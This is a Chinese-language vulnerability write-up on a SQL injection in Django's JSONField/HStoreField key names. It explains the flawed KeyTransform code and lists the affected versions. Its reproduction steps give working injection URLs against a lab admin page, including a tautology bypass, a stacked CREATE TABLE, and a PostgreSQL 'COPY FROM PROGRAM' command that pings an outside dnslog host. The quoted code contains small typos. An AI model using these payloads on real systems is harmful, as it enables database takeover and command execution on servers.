漏洞描述

Django是一个由Python编写的开源Web框架,采用MTV框架模式。

该漏洞需要开发者使用JSONField/HStoreField且用户可控queryset查询时的键名,在键名的位置实现SQL注入。

Django通常结合PostgreSQL数据库进行使用,而JSONField是该数据库的一种数据类型,漏洞成因在于DjangoJSONField类的实现,Djangomodel的本质作用在于生成SQL语句,但Django在通过JSONField生成SQL语句时仅通过简单字符串拼接,通过JSONField类获得KeyTransform类并生成SQL语句:

class KeyTransform(Transdform):
    operator = '->'
    nested_operator = '#>'
  
    def __init__(self, key_name, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.key_name = key_name
    
    def as_sql(self, compiler, connection):
        key_transforms = [self.key_name]
        previous.= self.lhs
        while isinstance(previous, KeyTransform):
            key_transforms.insert(0, previous.key_name)
            previous = previous.lhs
        lhs, params = compiler.compile(previous)
        if len(key_transforms) > 1:
            return "(%s %s %%s)" % (lhs, self.nested_operator), [key_transforms] + params
        try:
            int(self.key_name)
        except ValueError:
            lookup = "'%s'" % self.key_name
        else:
            lookup = "%s" % self.key_name
        return "(%s %s %s)" % (lhs, self.operator, lookup), params

其中key_name是可控字符串,最终生成语句是WHERE(field-'[key_name]')='value'

影响版本

Django < 2.2.4Django 2.2.x版本。

Django < 2.1.11Django 2.1.x版本。

Django < 1.11.23Django 1.11.x版本。

漏洞复现

访问管理员登录页面:http://<ip>:8000/admin,默认帐密admin/a123123123

访问http://<ip>:8000/admin/vuln/collection

构造URLhttp://<ip>:8000/admin/vuln/collection/?detail__a'b=123,页面报错:

Exception Value:	
syntax error at or near "b') = '"
LINE 1: ...llection" WHERE ("vuln_collection"."detail" -> 'a'b') = '"12...

注入成功且能够查看注入语句,继续构造http://<ip>:8000/admin/vuln/collection/?detail__title')='1' or 1=1--,由于or 1=1永真,此时页面正常。

尝试命令注入,构造URLhttp://<ip>:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20 ,报错原因:

Exception Value:	
no results to fetch

这说明我们的命令已执行成功,继续尝试ping一下dnslog,构造http://<ip>:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'ping oopsdc.sadjoiqw.dnslog.cn'--%20,成功检测到流量。

文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。